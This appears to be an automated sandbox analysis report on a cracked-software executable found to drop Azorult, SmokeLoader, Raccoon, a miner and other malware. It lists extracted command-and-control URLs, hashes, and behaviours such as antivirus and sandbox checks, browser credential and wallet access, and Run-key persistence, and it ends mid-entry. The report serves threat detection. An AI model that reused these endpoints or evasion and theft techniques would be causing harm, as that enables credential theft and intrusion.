Analysis
-
max time kernel
69s -
max time network
604s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
03-04-2021 07:46
Static task
static1
Behavioral task
behavioral1
Sample
Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe
Resource
win10v20201028
General
-
Target
Tocoman.Ilink.4.For.Tekla.Stru.crack.by.CORE.exe
-
Size
5.4MB
-
MD5
baad366f257529076340afc66d1ac59c
-
SHA1
3dafcc431b85bd6a527e70879137e1f27e160849
-
SHA256
3f5a92454d1b626e24016329a9de52e40d78aae1e5977f53e820a2e2812d3975
-
SHA512
98d2e5ace89934ebc193ae6b8277b363d9d197a54bbcf6dfa3f40df2671d89c87e4d13737ea99eceb9a2a1ac3bd135ffa53d555f93f72ff2a36f1874cb94dd85
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://999080321newfolder1002002131-service1002.space/
http://999080321newfolder1002002231-service1002.space/
http://999080321newfolder3100231-service1002.space/
http://999080321newfolder1002002431-service1002.space/
http://999080321newfolder1002002531-service1002.space/
http://999080321newfolder33417-012425999080321.space/
http://999080321test125831-service10020125999080321.space/
http://999080321test136831-service10020125999080321.space/
http://999080321test147831-service10020125999080321.space/
http://999080321test146831-service10020125999080321.space/
http://999080321test134831-service10020125999080321.space/
http://999080321est213531-service1002012425999080321.ru/
http://999080321yes1t3481-service10020125999080321.ru/
http://999080321test13561-service10020125999080321.su/
http://999080321test14781-service10020125999080321.info/
http://999080321test13461-service10020125999080321.net/
http://999080321test15671-service10020125999080321.tech/
http://999080321test12671-service10020125999080321.online/
http://999080321utest1341-service10020125999080321.ru/
http://999080321uest71-service100201dom25999080321.ru/
http://999080321test61-service10020125999080321.website/
http://999080321test51-service10020125999080321.xyz/
http://999080321test41-service100201pro25999080321.ru/
http://999080321yest31-service100201rus25999080321.ru/
http://999080321rest21-service10020125999080321.eu/
http://999080321test11-service10020125999080321.press/
http://999080321newfolder4561-service10020125999080321.ru/
http://999080321rustest213-service10020125999080321.ru/
http://999080321test281-service10020125999080321.ru/
http://999080321test261-service10020125999080321.space/
http://999080321yomtest251-service10020125999080321.ru/
http://999080321yirtest231-service10020125999080321.ru/
Extracted
raccoon
afefd33a49c7cbd55d417545269920f24c85aa37
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Glupteba Payload 3 IoCs
resource yara_rule behavioral3/memory/5388-228-0x0000000002540000-0x0000000002E4A000-memory.dmp family_glupteba behavioral3/memory/5388-229-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba behavioral3/memory/5388-231-0x0000000000400000-0x0000000000D24000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
XMRig Miner Payload 8 IoCs
resource yara_rule behavioral3/memory/4540-164-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/4540-165-0x00000001402CA898-mapping.dmp xmrig behavioral3/memory/4540-241-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/4540-169-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/8308-747-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/8308-886-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/6104-951-0x0000000140000000-0x000000014070A000-memory.dmp xmrig behavioral3/memory/6104-1048-0x0000000140000000-0x000000014070A000-memory.dmp xmrig -
Executes dropped EXE 16 IoCs
pid Process 3612 keygen-pr.exe 1588 keygen-step-1.exe 1192 keygen-step-3.exe 2132 keygen-step-4.exe 1236 key.exe 2032 Setup.exe 3448 key.exe 3312 multitimer.exe 1092 setups.exe 1628 setups.tmp 2104 askinstall20.exe 4548 multitimer.exe 4640 multitimer.exe 4672 Full Program Features.exe 4856 file.exe 5052 A440.tmp.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Control Panel\International\Geo\Nation setups.tmp -
Loads dropped DLL 8 IoCs
pid Process 1628 setups.tmp 1628 setups.tmp 1628 setups.tmp 1628 setups.tmp 1628 setups.tmp 1628 setups.tmp 1628 setups.tmp 4992 rundll32.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\msl1ukrvppc = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\PX0TJSR7HE\\multitimer.exe\" 1 3.1617436129.60681de16c463" multitimer.exe -
Checks for any installed AV software in registry 1 TTPs 53 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\BavSvc multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Vba32\Loader multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\KasperskyLab multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McAPExe multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Jiangmin\ComputerID multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AVP18.0.0 multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DrWebAVService multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\a2AntiMalware multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\QHActiveDefense multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Sophos multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\avast! Antivirus multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ESET\NOD multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVG\AV multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\TrendMicro\UniClient multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ESET\NOD multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\G Data\AntiVirenKit multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\AntiVirService multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\COMODO\CIS multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\F-Secure\Computer Security\DART multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\K7 Computing\K7TotalSecurity multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\ClamWin\Version multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Fortinet\FortiClient\installed multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\MACHINE\Software\Avira\Antivirus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\BullGuard Ltd.\BullGuard\Main multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Bitdefender\QuickScan multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\McProxy multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\IKARUS\anti.virus multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\AVAST Software\Avast multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\SOFTWARE\Doctor Web\InstalledComponents multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\ArcaBit multitimer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet\Services\MBAMProtector multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\FRISK Software\F-PROT Antivirus for Windows multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AhnLab\V3IS80 multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\ClamWin\Version multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\AVG\AV multitimer.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\Microsoft Antimalware Setup\StartMenu Microsoft Security Essentials multitimer.exe Key opened \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\McAfee\DesktopProtection multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 152 ipinfo.io 510 ipinfo.io 558 api.ipify.org 605 ipinfo.io 187 ip-api.com 280 ipinfo.io 479 api.ipify.org 107 api.ipify.org 242 api.ipify.org 146 ipinfo.io 278 ipinfo.io 324 api.ipify.org 537 ipinfo.io 639 ipinfo.io -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum multitimer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum\0 multitimer.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1236 set thread context of 3448 1236 key.exe 90 PID 1700 set thread context of 5112 1700 svchost.exe 113 -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\unins0000.dat Full Program Features.exe File created C:\Program Files\unins0000.dll Full Program Features.exe File created C:\Program Files\unins.vbs Full Program Features.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new multitimer.exe File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new multitimer.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 15 IoCs
pid pid_target Process procid_target 6744 5688 WerFault.exe 136 6424 5404 WerFault.exe 186 6616 5404 WerFault.exe 186 7484 5404 WerFault.exe 186 5088 5404 WerFault.exe 186 4860 5404 WerFault.exe 186 4376 5404 WerFault.exe 186 5412 5404 WerFault.exe 186 8368 5404 WerFault.exe 186 8988 5404 WerFault.exe 186 8268 5404 WerFault.exe 186 1348 7836 WerFault.exe 251 6380 5404 WerFault.exe 186 4632 5404 WerFault.exe 186 808 5404 WerFault.exe 186 -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe -
Delays execution with timeout.exe 3 IoCs
pid Process 1648 timeout.exe 3196 timeout.exe 8252 timeout.exe -
Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS multitimer.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer multitimer.exe -
Kills process with taskkill 10 IoCs
pid Process 1364 taskkill.exe 6500 taskkill.exe 4312 taskkill.exe 6848 taskkill.exe 5700 taskkill.exe 4356 taskkill.exe 4300 taskkill.exe 7692 taskkill.exe 8552 taskkill.exe 8652 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe -
Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit svchost.exe -
Modifies registry class 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\SmartScreenCompletedVersi = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ReadingMode\SettingsVersion = "2" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Toolbar\WebBrowser MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\Active\{26F0D7B3-61C9-40CB-8B37-CBC8030E1A94} = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\SyncIEFirstTimeFullScan = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{JAGSC2K0-K4Q1-LO31-YATQ-QCFVCPKLJD69}\1 = "5416" svchost.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Roaming MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Content\CacheLimit = "256000" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Protected - It is a violation of Windows Policy to modif = 010000006fbfed1177dc832f79618c0da03e8245e76222841bc2acbe7440fded60f1ac3c965a6a0efcaabc24c71556b00f8f794afaa9a13c4fd4c7126eb1 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionLow = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\DatastoreSchemaVersion = "8" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VendorId = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\ManagerHistoryComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Internet Settings\Zones\3\{AEBA21FA-782A-4A90-978D-B7216 = 1a3761592352350c7a5f20172f1e1a190e2b017313371312141a152a MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus\CIStatusTimestamp = 3e80950e6f28d701 MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\DummyPath\dummySetting = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\ChromeMigration\AllComplete = "1" MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ExtensionsStore\datastore\usage\dscc_inventory\Extension = "{05C36CCA-6BE2-4307-AA0A-C1FB6E806FE3}" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery\ReadingStorePending = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\IECompatVersionLow = "0" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\GPU\Wow64-VersionHigh = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\CIStatus\SignaturePolicy = 06000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration MicrosoftEdge.exe Set value (str) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\TypedURLs\url2 = "https://login.aliexpress.com/" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\FlipAheadCompletedVersion = "1" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\EdgeMigration\MigrationTime = 998267c856add601 MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\CVListXMLVersionLow = "0" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\CIStatus MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\Recovery\PendingRecovery MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\UserStateMigration\IEMigration\TypedUrlsComplete = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Settings\Cache\Cookies\CacheLimit = "1" MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\FavOrder\TreeView = "1" MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\LowRegistry\DontShowMeThisDialogAgain MicrosoftEdge.exe Set value (int) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\ServiceUI\IsSignedIn = "0" MicrosoftEdge.exe Set value (data) \REGISTRY\USER\S-1-5-21-1985363256-3005190890-1182679451-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\006\ACGStatus\DynamicCodePolicy = 00000000 MicrosoftEdgeCP.exe Set value (int) 